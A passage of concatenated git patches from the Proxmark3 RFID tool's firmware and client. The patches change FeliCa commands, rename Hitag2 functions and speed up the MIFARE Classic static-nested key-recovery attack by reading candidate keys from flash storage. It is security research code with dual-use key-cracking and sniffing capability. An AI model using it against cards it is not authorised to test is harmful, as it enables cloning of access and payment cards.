(rd_noCry_resp.status_flags.status_flag1[0] == 00 && rd_noCry_resp.status_flags.status_flag2[0] == 00) { print_rd_noEncrpytion_response(&rd_noCry_resp); - } else { - break; } } else { break; @@ -1000,7 +999,7 @@ static int CmdHFFelicaReadWithoutEncryption(const char *Cmd) { datalen += 2; felica_read_without_encryption_response_t rd_noCry_resp; if (send_rd_unencrypted(flags, datalen, data, 1, &rd_noCry_resp) == PM3_SUCCESS) { - PrintAndLogEx(INFO, "Block Element\t| Data "); + PrintAndLogEx(INFO, "Block Nr.\t| Data "); print_rd_noEncrpytion_response(&rd_noCry_resp); } } @@ -1854,17 +1853,17 @@ static command_t CommandTable[] = { {"reader", CmdHFFelicaReader, IfPm3Felica, "Act like an ISO18092/FeliCa reader"}, {"sniff", CmdHFFelicaSniff, IfPm3Felica, "Sniff ISO 18092/FeliCa traffic"}, {"raw", CmdHFFelicaCmdRaw, IfPm3Felica, "Send raw hex data to tag"}, - {"----------- FeliCa Standard (support in progress) -----------", CmdHelp, IfPm3Iso14443a, ""}, + {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."}, + {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, + {"----------- FeliCa Standard -----------", CmdHelp, IfPm3Iso14443a, ""}, //{"dump", CmdHFFelicaDump, IfPm3Felica, "Wait for and try dumping FeliCa"}, {"rqservice", CmdHFFelicaRequestService, IfPm3Felica, "verify the existence of Area and Service, and to acquire Key Version."}, {"rqresponse", CmdHFFelicaRequestResponse, IfPm3Felica, "verify the existence of a card and its Mode."}, - {"rdunencrypted", CmdHFFelicaReadWithoutEncryption, IfPm3Felica, "read Block Data from authentication-not-required Service."}, - {"wrunencrypted", CmdHFFelicaWriteWithoutEncryption, IfPm3Felica, "write Block Data to an authentication-not-required Service."}, {"scsvcode", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire Area Code and Service Code."}, {"rqsyscode", CmdHFFelicaRequestSystemCode, IfPm3Felica, "acquire System Code registered to the card."}, - {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"}, - {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"}, - {"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, + {"auth1", CmdHFFelicaAuthentication1, IfPm3Felica, "authenticate a card. Start mutual authentication with Auth1"}, + {"auth2", CmdHFFelicaAuthentication2, IfPm3Felica, "allow a card to authenticate a Reader/Writer. Complete mutual authentication"}, + //{"read", CmdHFFelicaNotImplementedYet, IfPm3Felica, "read Block Data from authentication-required Service."}, //{"write", CmdHFFelicaNotImplementedYet, IfPm3Felica, "write Block Data to an authentication-required Service."}, //{"scsvcodev2", CmdHFFelicaNotImplementedYet, IfPm3Felica, "verify the existence of Area or Service, and to acquire Key Version."}, //{"getsysstatus", CmdHFFelicaNotImplementedYet, IfPm3Felica, "acquire the setup information in System."}, From f4b3488a093551ef9a78ecbbe97ea79d294685b0 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 13:11:20 +0100 Subject: [PATCH 358/418] chg: 'hf mf static' - now uses file on spiffs for key transfers. speedup on RDV4 --- armsrc/appmain.c | 14 +++- armsrc/mifarecmd.c | 29 ++++++++- armsrc/mifarecmd.h | 1 + client/cmdflashmemspiffs.c | 14 +++- client/mifare/mifarehost.c | 127 +++++++++++++++++++++++++++++-------- client/mifare/mifarehost.h | 3 + include/pm3_cmd.h | 1 + 7 files changed, 153 insertions(+), 36 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index ab0320e75..7c58fd7e6 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -930,12 +930,12 @@ static void PacketReceived(PacketCommandNG *packet) { #ifdef WITH_HITAG case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type - SniffHitag(); -// SniffHitag(packet->oldarg[0]); + SniffHitag2(); +// SniffHitag2(packet->oldarg[0]); break; } case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content - SimulateHitagTag((bool)packet->oldarg[0], packet->data.asBytes); + SimulateHitag2((bool)packet->oldarg[0], packet->data.asBytes); break; } case CMD_LF_HITAG_READER: { // Reader for Hitag tags, args = type and function @@ -1176,6 +1176,14 @@ static void PacketReceived(PacketCommandNG *packet) { MifareChkKeys_fast(packet->oldarg[0], packet->oldarg[1], packet->oldarg[2], packet->data.asBytes); break; } + case CMD_HF_MIFARE_CHKKEYS_FILE: { + struct p { + uint8_t filename[32]; + } PACKED; + struct p *payload = (struct p *) packet->data.asBytes; + MifareChkKeys_file(payload->filename); + break; + } case CMD_HF_MIFARE_SIMULATE: { struct p { uint16_t flags; diff --git a/armsrc/mifarecmd.c b/armsrc/mifarecmd.c index a0ce705be..cf1115f21 100644 --- a/armsrc/mifarecmd.c +++ b/armsrc/mifarecmd.c @@ -33,6 +33,7 @@ #include "dbprint.h" #include "ticks.h" #include "usb_cdc.h" // usb_poll_validate_length +#include "spiffs.h" // spiffs #ifndef HARDNESTED_AUTHENTICATION_TIMEOUT # define HARDNESTED_AUTHENTICATION_TIMEOUT 848 // card times out 1ms after wrong authentication (according to NXP documentation) @@ -1701,14 +1702,15 @@ void MifareChkKeys(uint8_t *datain) { bool found; } PACKED keyresult; keyresult.found = false; - uint8_t blockNo, keyType, keyCount; + uint8_t blockNo, keyType; + uint16_t keyCount; bool clearTrace, have_uid = false; keyType = datain[0]; blockNo = datain[1]; clearTrace = datain[2]; - keyCount = datain[3]; - datain += 4; + keyCount = (datain[3] << 8) | datain[4]; + datain += 5; LEDsoff(); LED_A_ON(); @@ -1780,6 +1782,27 @@ void MifareChkKeys(uint8_t *datain) { DBGLEVEL = oldbg; } +void MifareChkKeys_file(uint8_t *fn) { + + SpinOff(0); + + int changed = rdv40_spiffs_lazy_mount(); + uint32_t size = size_in_spiffs((char *)fn); + uint8_t *mem = BigBuf_malloc(size); + + rdv40_spiffs_read_as_filetype((char *)fn, mem, size, RDV40_SPIFFS_SAFETY_SAFE); + + if (changed) { + rdv40_spiffs_lazy_unmount(); + } + + SpinOff(0); + + MifareChkKeys(mem); + + BigBuf_free(); +} + //----------------------------------------------------------------------------- // Work with emulator memory // diff --git a/armsrc/mifarecmd.h b/armsrc/mifarecmd.h index cb60ea7c5..1f5ee63a4 100644 --- a/armsrc/mifarecmd.h +++ b/armsrc/mifarecmd.h @@ -31,6 +31,7 @@ void MifareAcquireEncryptedNonces(uint32_t arg0, uint32_t arg1, uint32_t flags, void MifareAcquireNonces(uint32_t arg0, uint32_t flags); void MifareChkKeys(uint8_t *datain); void MifareChkKeys_fast(uint32_t arg0, uint32_t arg1, uint32_t arg2, uint8_t *datain); +void MifareChkKeys_file(uint8_t *fn); void MifareEMemClr(void); void MifareEMemSet(uint8_t blockno, uint8_t blockcnt, uint8_t blockwidth, uint8_t *datain); diff --git a/client/cmdflashmemspiffs.c b/client/cmdflashmemspiffs.c index 5d003bd2c..bdc51dc5d 100644 --- a/client/cmdflashmemspiffs.c +++ b/client/cmdflashmemspiffs.c @@ -349,10 +349,15 @@ int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) { bytes_sent += bytes_in_packet; PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { + + uint8_t retry = 3; + while (!WaitForResponseTimeout(CMD_ACK, &resp, 2000)) { PrintAndLogEx(WARNING, "timeout while waiting for reply."); - ret_val = PM3_ETIMEOUT; - break; + retry--; + if (retry == 0) { + ret_val = PM3_ETIMEOUT; + goto out; + } } uint8_t isok = resp.oldarg[0] & 0xFF; @@ -363,6 +368,9 @@ int flashmem_spiffs_load(uint8_t *destfn, uint8_t *data, size_t datalen) { } } +out: + clearCommandBuffer(); + // turn off fast push mode conn.block_after_ACK = false; diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index e3021c8f6..df5b2e009 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -17,12 +17,14 @@ #include "comms.h" #include "commonutil.h" #include "mifare4.h" -#include "ui.h" // PrintAndLog... +#include "ui.h" // PrintAndLog... #include "crapto1/crapto1.h" #include "crc16.h" #include "protocols.h" #include "mfkey.h" -#include "util_posix.h" // msclock +#include "util_posix.h" // msclock +#include "cmdparser.h" // detection of flash capabilities +#include "cmdflashmemspiffs.h" // upload to flash mem int mfDarkside(uint8_t blockno, uint8_t key_type, uint64_t *key) { uint32_t uid = 0; @@ -168,9 +170,10 @@ int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keyc data[0] = keyType; data[1] = blockNo; data[2] = clear_trace; - data[3] = keycnt; - memcpy(data + 4, keyBlock, 6 * keycnt); - SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (4 + 6 * keycnt)); + data[3] = 0; + data[4] = keycnt; + memcpy(data + 5, keyBlock, 6 * keycnt); + SendCommandNG(CMD_HF_MIFARE_CHKKEYS, data, (5 + 6 * keycnt)); PacketResponseNG resp; if (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2500)) return PM3_ETIMEOUT; @@ -265,6 +268,45 @@ int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, return PM3_ESOFT; } +// Trigger device to use a binary file on flash mem as keylist for mfCheckKeys. +// As of now, 255 keys possible in the file +// 6 * 255 = 1500 bytes +int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { + *key = -1; + clearCommandBuffer(); + + struct { + uint8_t filename[32]; + } PACKED payload_file; + + strncpy((char*)payload_file.filename, (char*)destfn, sizeof(payload_file.filename)); + + PacketResponseNG resp; + clearCommandBuffer(); + SendCommandNG(CMD_HF_MIFARE_CHKKEYS_FILE, (uint8_t *)&payload_file, sizeof(payload_file)); + + uint8_t retry = 10; + + while (!WaitForResponseTimeout(CMD_HF_MIFARE_CHKKEYS, &resp, 2000)) { + retry--; + if (retry ==0) { + PrintAndLogEx(WARNING, "Chk keys file, timeouted"); + return PM3_ETIMEOUT; + } + } + + if (resp.status != PM3_SUCCESS) return resp.status; + + struct kr { + uint8_t key[6]; + bool found; + } PACKED; + struct kr *keyresult = (struct kr *)&resp.data.asBytes; + if (!keyresult->found) return PM3_ESOFT; + *key = bytes_to_num(keyresult->key, sizeof(keyresult->key)); + return PM3_SUCCESS; +} + // PM3 imp of J-Run mf_key_brute (part 2) // ref: https://github.com/J-Run/mf_key_brute int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey) { @@ -461,7 +503,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, if (keycnt == 0) goto out; PrintAndLogEx(SUCCESS, "Found " _YELLOW_("%u") "candidate keys", keycnt); - + memset(resultKey, 0, 6); uint64_t key64 = -1; @@ -469,10 +511,10 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, uint32_t max_keys = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; - uint64_t start_time = msclock(); - for (uint32_t i = 0; i < keycnt; i += max_keys) { + uint64_t start_time = msclock(); + uint8_t size = keycnt - i > max_keys ? max_keys : keycnt - i; register uint8_t j; @@ -498,7 +540,7 @@ int mfnested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBlockNo, start_time = msclock(); if ( i + 1 % 10 == 0) - PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); + PrintAndLogEx(INFO, " %8d/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt , bruteforce_per_second, (keycnt-i) / bruteforce_per_second); } @@ -601,47 +643,79 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl uint64_t key64 = -1; // The list may still contain several key candidates. Test each of them with mfCheckKeys - uint32_t max_keys_slice = keycnt > KEYS_IN_BLOCK ? KEYS_IN_BLOCK : keycnt; - uint8_t keyBlock[PM3_CMD_DATA_SIZE] = {0x00}; + uint32_t maxkeysinblock = IfPm3Flash() ? 1600 : KEYS_IN_BLOCK; + uint32_t max_keys_slice = keycnt > maxkeysinblock ? maxkeysinblock : keycnt; + + uint8_t *mem = calloc( (maxkeysinblock * 6) + 5, sizeof(uint8_t)); + if (mem == NULL) { + free(statelists[0].head.slhead); + return PM3_EMALLOC; + } + + uint8_t *p_keyblock = mem + 5; + mem[0] = statelists[0].keyType; + mem[1] = statelists[0].blockNo; + mem[2] = 1; + mem[3] = ((maxkeysinblock >> 8) & 0xFF); + mem[4] = (maxkeysinblock & 0xFF); + + uint8_t destfn[32]; + strncpy((char*)destfn, "static_nested_000.bin", sizeof(destfn) - 1); - uint64_t start_time = msclock(); for (uint32_t i = 0; i < keycnt; i += max_keys_slice) { -// PrintAndLogEx(INFO, "Testing %u / %u ", i, keycnt); + int res = 0; + uint64_t start_time = msclock(); key64 = 0; - - uint8_t size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; + uint32_t size = keycnt - i > max_keys_slice ? max_keys_slice : keycnt - i; // copy x keys to device. - register uint8_t j; - for (j = 0; j < size; j++) { + for (uint32_t j = 0; j < size; j++) { crypto1_get_lfsr(statelists[0].head.slhead + i + j, &key64); - num_to_bytes(key64, 6, keyBlock + j * 6); + num_to_bytes(key64, 6, p_keyblock + j * 6); } // check a block of generated candidate keys. - if (mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, keyBlock, &key64) == PM3_SUCCESS) { + if (IfPm3Flash()) { + // upload to flash. + res = flashmem_spiffs_load(destfn, mem, 5 + (size * 6) ); + if (res != PM3_SUCCESS) { + PrintAndLogEx(WARNING, "SPIFFS upload failed"); + return res; + } - free(statelists[0].head.slhead); + res = mfCheckKeys_file(destfn, &key64); + } else { + res = mfCheckKeys(statelists[0].blockNo, statelists[0].keyType, false, size, mem, &key64); + } - num_to_bytes(key64, 6, resultKey); + if (res == PM3_SUCCESS) { + p_keyblock = NULL; + free(statelists[0].head.slhead); + free(mem); - PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", + num_to_bytes(key64, 6, resultKey); + + PrintAndLogEx(SUCCESS, "target block:%3u key type: %c -- found valid key [ " _YELLOW_("%s") "]", package->block, package->keytype ? 'B' : 'A', sprint_hex_inrow(resultKey, 6) ); return PM3_SUCCESS; + } else if (res == PM3_ETIMEOUT) { + return res; } - float bruteforce_per_second = (float)KEYS_IN_BLOCK / (float)(msclock() - start_time) * 1000.0; + + float bruteforce_per_second = (float)maxkeysinblock / (float)(msclock() - start_time) * 1000.0; start_time = msclock(); - if ( i+1 % 10 == 0) - PrintAndLogEx(INFO, " %8d keys left | %5.1f keys/sec | worst case %6.1f seconds remaining", keycnt - i, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); - + PrintAndLogEx(INFO, "Chunk %8u/%u keys | %5.1f keys/sec | worst case %6.1f seconds remaining", i, keycnt, bruteforce_per_second, (keycnt-i) / bruteforce_per_second); } + p_keyblock = NULL; + free(mem); + out: PrintAndLogEx(SUCCESS, "target block:%3u key type: %c", package->block, @@ -649,7 +723,6 @@ out: ); free(statelists[0].head.slhead); - return PM3_ESOFT; } diff --git a/client/mifare/mifarehost.h b/client/mifare/mifarehost.h index 846ee4222..6f179c573 100644 --- a/client/mifare/mifarehost.h +++ b/client/mifare/mifarehost.h @@ -65,6 +65,9 @@ int mfStaticNested(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint8_t trgBl int mfCheckKeys(uint8_t blockNo, uint8_t keyType, bool clear_trace, uint8_t keycnt, uint8_t *keyBlock, uint64_t *key); int mfCheckKeys_fast(uint8_t sectorsCnt, uint8_t firstChunk, uint8_t lastChunk, uint8_t strategy, uint32_t size, uint8_t *keyBlock, sector_t *e_sector, bool use_flashmemory); + +int mfCheckKeys_file(uint8_t *destfn, uint64_t *key); + int mfKeyBrute(uint8_t blockNo, uint8_t keyType, uint8_t *key, uint64_t *resultkey); int mfReadSector(uint8_t sectorNo, uint8_t keyType, uint8_t *key, uint8_t *data); diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index 7ae6f0779..32b2ba35c 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -500,6 +500,7 @@ typedef struct { #define CMD_HF_MIFARE_CHKKEYS 0x0623 #define CMD_HF_MIFARE_SETMOD 0x0624 #define CMD_HF_MIFARE_CHKKEYS_FAST 0x0625 +#define CMD_HF_MIFARE_CHKKEYS_FILE 0x0626 #define CMD_HF_MIFARE_SNIFF 0x0630 #define CMD_HF_MIFARE_MFKEY 0x0631 From fc2e11a6cdbc17dc733186ae1df291415f5c9384 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 13:12:09 +0100 Subject: [PATCH 359/418] rename function --- armsrc/hitag2.c | 32 +++++++++++++++++++++----------- armsrc/hitag2.h | 4 ++-- 2 files changed, 23 insertions(+), 13 deletions(-) diff --git a/armsrc/hitag2.c b/armsrc/hitag2.c index 6efe5808d..3da970a24 100644 --- a/armsrc/hitag2.c +++ b/armsrc/hitag2.c @@ -35,6 +35,12 @@ #include "lfdemod.h" #include "commonutil.h" + +#define test_bit(data, i) (*(data + (i/8)) >> (7-(i % 8))) & 1 +#define set_bit(data, i) *(data + (i/8)) |= (1 << (7-(i % 8))) +#define clear_bit(data, i) *(data + (i/8)) &= ~(1 << (7-(i % 8))) +#define flip_bit(data, i) *(data + (i/8)) ^= (1 << (7-(i % 8))) + // Successful crypto auth static bool bCrypto; // Is in auth stage @@ -70,7 +76,6 @@ static enum { WRITE_STATE_PROG } writestate; - // ToDo: define a meaningful maximum size for auth_table. The bigger this is, the lower will be the available memory for traces. // Historically it used to be FREE_BUFFER_SIZE, which was 2744. #define AUTH_TABLE_LENGTH 2744 @@ -87,6 +92,11 @@ uint8_t nonce[4]; bool key_no; static uint64_t cipher_state; +size_t blocknr; +size_t flipped_bit = 0; +uint32_t byte_value = 0; + + static int hitag2_reset(void) { tag.state = TAG_STATE_RESET; tag.crypto_active = 0; @@ -135,10 +145,12 @@ static int hitag2_init(void) { static void hitag_send_bit(int bit) { LED_A_ON(); + // Reset clock for the next bit AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; // Fixed modulation, earlier proxmark version used inverted signal + // check datasheet if reader uses BiPhase? if (bit == 0) { // Manchester: Unloaded, then loaded |__--| LOW(GPIO_SSC_DOUT); @@ -351,8 +363,6 @@ static uint32_t hitag_reader_send_frame(const uint8_t *frame, size_t frame_len) return wait; } -size_t blocknr; - uint8_t hitag_crc(uint8_t *data, size_t length) { uint8_t crc = 0xff; unsigned int byte, bit; @@ -371,10 +381,7 @@ uint8_t hitag_crc(uint8_t *data, size_t length) { return crc; } -#define test_bit(data, i) (*(data+(i/8)) >> (7-(i%8))) & 1 -#define set_bit(data, i) *(data+(i/8)) |= (1 << (7-(i%8))) -#define clear_bit(data, i) *(data+(i/8)) &= ~(1 << (7-(i%8))) -#define flip_bit(data, i) *(data+(i/8)) ^= (1 << (7-(i%8))) +/* void fix_ac_decoding(uint8_t *input, size_t len) { // Reader routine tries to decode AC data after Manchester decoding // AC has double the bitrate, extract data from bit-pairs @@ -388,7 +395,12 @@ void fix_ac_decoding(uint8_t *input, size_t len) { } memcpy(input, temp, sizeof(temp)); } +*/ + +// looks at number of received bits. +// 0 = collision? +// 32 = good response bool hitag_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bool hitag_s) { uint8_t crc; *txlen = 0; @@ -457,9 +469,7 @@ bool hitag_plain(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen, bo return true; } -size_t flipped_bit = 0; -uint32_t byte_value = 0; bool hitag1_authenticate(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t *txlen) { uint8_t crc; *txlen = 0; @@ -958,7 +968,7 @@ static bool hitag2_read_uid(uint8_t *rx, const size_t rxlen, uint8_t *tx, size_t } // Hitag2 Sniffing -void SniffHitag(void) { +void SniffHitag2(void) { LEDsoff(); StopTicks(); @@ -1037,7 +1047,7 @@ void SniffHitag(void) { } // Hitag2 simulation -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data) { +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data) { StopTicks(); diff --git a/armsrc/hitag2.h b/armsrc/hitag2.h index 9e0fb84e6..ec3d0d7f3 100644 --- a/armsrc/hitag2.h +++ b/armsrc/hitag2.h @@ -14,8 +14,8 @@ #include "common.h" #include "hitag.h" -void SniffHitag(void); -void SimulateHitagTag(bool tag_mem_supplied, uint8_t *data); +void SniffHitag2(void); +void SimulateHitag2(bool tag_mem_supplied, uint8_t *data); void ReaderHitag(hitag_function htf, hitag_data *htd); void WriterHitag(hitag_function htf, hitag_data *htd, int page); From e0cd9c38da792a2c66dfc4e632e6fa7e54aa7051 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 13:13:04 +0100 Subject: [PATCH 360/418] test: hitag to use decimation on sample to save space --- armsrc/lfadc.c | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/armsrc/lfadc.c b/armsrc/lfadc.c index 3e15fdc0b..5c5b87fc0 100644 --- a/armsrc/lfadc.c +++ b/armsrc/lfadc.c @@ -188,6 +188,9 @@ void lf_init(bool reader) { if (logging) initSampleBuffer(&bufsize); + sample_config *sc = getSamplingConfig(); + sc->decimation = 2; + sc->averaging = 1; } void lf_finalize() { @@ -202,6 +205,10 @@ void lf_finalize() { FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); LEDsoff(); + + sample_config *sc = getSamplingConfig(); + sc->decimation = 1; + sc->averaging = 0; } size_t lf_detect_field_drop(size_t max) { From 3fe4582e283bc8ccce70dbded28929cfa0cf6b3e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 13:13:45 +0100 Subject: [PATCH 361/418] chg: hitag dump should be in its own command --- client/cmdlfhitag.c | 58 ++++++++++++++++++++++----------------------- 1 file changed, 29 insertions(+), 29 deletions(-) diff --git a/client/cmdlfhitag.c b/client/cmdlfhitag.c index f0a8037dc..810c0e7b3 100644 --- a/client/cmdlfhitag.c +++ b/client/cmdlfhitag.c @@ -563,25 +563,11 @@ static int CmdLFHitagReader(const char *Cmd) { } uint32_t id = bytes_to_num(resp.data.asBytes, 4); - + uint8_t *data = NULL; PrintAndLogEx(SUCCESS, " UID: " _YELLOW_("%08x"), id); if (htf != RHT2F_UID_ONLY) { - - PrintAndLogEx(SUCCESS, "Dumping tag memory..."); - uint8_t *data = resp.data.asBytes; - - char filename[FILE_PATH_SIZE]; - char *fnameptr = filename; - fnameptr += sprintf(fnameptr, "lf-hitag-"); - FillFileNameByUID(fnameptr, data, "-dump", 4); - - - - saveFile(filename, ".bin", data, 48); - saveFileEML(filename, data, 48, 4); - saveFileJSON(filename, jsfHitag, data, 48); - + // block3, 1 byte printHitagConfiguration(data[4 * 3]); } @@ -688,16 +674,29 @@ static int CmdLFHitagWriter(const char *Cmd) { return PM3_SUCCESS; } -/* -static int CmdLFHitagDump(const char *Cmd) { +static int CmdLFHitag2Dump(const char *Cmd) { PrintAndLogEx(INFO, "Dumping of tag memory"); - PrintAndLogEx(INFO, "To be done!"); char ctmp = tolower(param_getchar(Cmd, 0)); - if (ctmp == 'h') return usage_hitag_dump(); + if (ctmp == 'h') return 0; // usage_hitag_dump(); + + PacketResponseNG resp; + + PrintAndLogEx(SUCCESS, "Dumping tag memory..."); + uint8_t *data = resp.data.asBytes; + + char filename[FILE_PATH_SIZE]; + char *fnameptr = filename; + fnameptr += sprintf(fnameptr, "lf-hitag-"); + FillFileNameByUID(fnameptr, data, "-dump", 4); + + saveFile(filename, ".bin", data, 48); + saveFileEML(filename, data, 48, 4); + saveFileJSON(filename, jsfHitag, data, 48); + return PM3_SUCCESS; } -*/ + // Annotate HITAG protocol void annotateHitag1(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { @@ -740,14 +739,15 @@ void annotateHitagS(char *exp, size_t size, uint8_t *cmd, uint8_t cmdsize) { } static command_t CommandTable[] = { - {"help", CmdHelp, AlwaysAvailable, "This help" }, - {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, - {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" }, - {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" }, - {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" }, - {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" }, - {"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" }, - {"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" }, + {"help", CmdHelp, AlwaysAvailable, "This help" }, + {"list", CmdLFHitagList, IfPm3Hitag, "List Hitag trace history" }, + {"info", CmdLFHitagInfo, IfPm3Hitag, "Tag information" }, + {"reader", CmdLFHitagReader, IfPm3Hitag, "Act like a Hitag Reader" }, + {"sim", CmdLFHitagSim, IfPm3Hitag, "Simulate Hitag transponder" }, + {"sniff", CmdLFHitagSniff, IfPm3Hitag, "Eavesdrop Hitag communication" }, + {"writer", CmdLFHitagWriter, IfPm3Hitag, "Act like a Hitag Writer" }, + {"dump", CmdLFHitag2Dump, IfPm3Hitag, "Dump Hitag2 tag" }, + {"cc", CmdLFHitagCheckChallenges, IfPm3Hitag, "Test all challenges" }, { NULL, NULL, 0, NULL } }; From e5fbfef59b40687d47ab9aa775ae42ed0e7e0f9e Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 17:38:05 +0100 Subject: [PATCH 362/418] fix #533 --- client/mifare/mifarehost.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/mifare/mifarehost.c b/client/mifare/mifarehost.c index df5b2e009..3586db8df 100644 --- a/client/mifare/mifarehost.c +++ b/client/mifare/mifarehost.c @@ -279,7 +279,7 @@ int mfCheckKeys_file(uint8_t *destfn, uint64_t *key) { uint8_t filename[32]; } PACKED payload_file; - strncpy((char*)payload_file.filename, (char*)destfn, sizeof(payload_file.filename)); + memcpy(payload_file.filename, destfn, sizeof(payload_file.filename) - 1); PacketResponseNG resp; clearCommandBuffer(); From 5cd5f6dd8f7f6e33bafa342407cd490c455b8934 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 17:39:51 +0100 Subject: [PATCH 363/418] one more level --- Makefile.host | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Makefile.host b/Makefile.host index bfadd82b7..6d405ee14 100644 --- a/Makefile.host +++ b/Makefile.host @@ -8,6 +8,9 @@ endif ifeq ($(DEFSBEENHERE),) -include ../../Makefile.defs endif +ifeq ($(DEFSBEENHERE),) + -include ../../../Makefile.defs +endif ifeq ($(DEFSBEENHERE),) $(error Can't find Makefile.defs) endif From 48f7b3bdb690ff5612d634c448df4b376a306936 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 17:41:59 +0100 Subject: [PATCH 364/418] same param names --- armsrc/lfsampling.c | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/armsrc/lfsampling.c b/armsrc/lfsampling.c index 2d92cd692..0679eb368 100644 --- a/armsrc/lfsampling.c +++ b/armsrc/lfsampling.c @@ -200,7 +200,7 @@ void logSample(uint8_t sample, uint8_t decimation, uint8_t bits_per_sample, bool * 0 or 95 ==> 125 kHz * **/ -void LFSetupFPGAForADC(int divisor, bool lf_field) { +void LFSetupFPGAForADC(int divisor, bool reader_field) { FpgaDownloadAndGo(FPGA_BITSTREAM_LF); if ((divisor == 1) || (divisor < 0) || (divisor > 255)) FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_134); //~134kHz @@ -209,14 +209,17 @@ void LFSetupFPGAForADC(int divisor, bool lf_field) { else FpgaSendCommand(FPGA_CMD_SET_DIVISOR, divisor); - FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (lf_field ? FPGA_LF_ADC_READER_FIELD : 0)); + FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_READER | (reader_field ? FPGA_LF_ADC_READER_FIELD : 0)); // Connect the A/D to the peak-detected low-frequency path. SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // 50ms for the resonant antenna to settle. + if (reader_field) SpinDelay(50); + // Now set up the SSC to get the ADC samples that are now streaming at us. FpgaSetupSsc(); + // start a 1.5ticks is 1us StartTicks(); } @@ -333,11 +336,11 @@ uint32_t DoPartialAcquisition(int trigger_threshold, bool verbose, uint32_t samp return DoAcquisition(1, 8, 0, trigger_threshold, verbose, sample_size, cancel_after, 0); } -uint32_t ReadLF(bool activeField, bool verbose, uint32_t sample_size) { +uint32_t ReadLF(bool reader_field, bool verbose, uint32_t sample_size) { if (verbose) printConfig(); - LFSetupFPGAForADC(config.divisor, activeField); + LFSetupFPGAForADC(config.divisor, reader_field); uint32_t ret = DoAcquisition_config(verbose, sample_size); FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); return ret; From fc1cede77896be2d432c85e430e6bc9a0160938c Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Wed, 22 Jan 2020 18:43:20 +0100 Subject: [PATCH 365/418] fix: 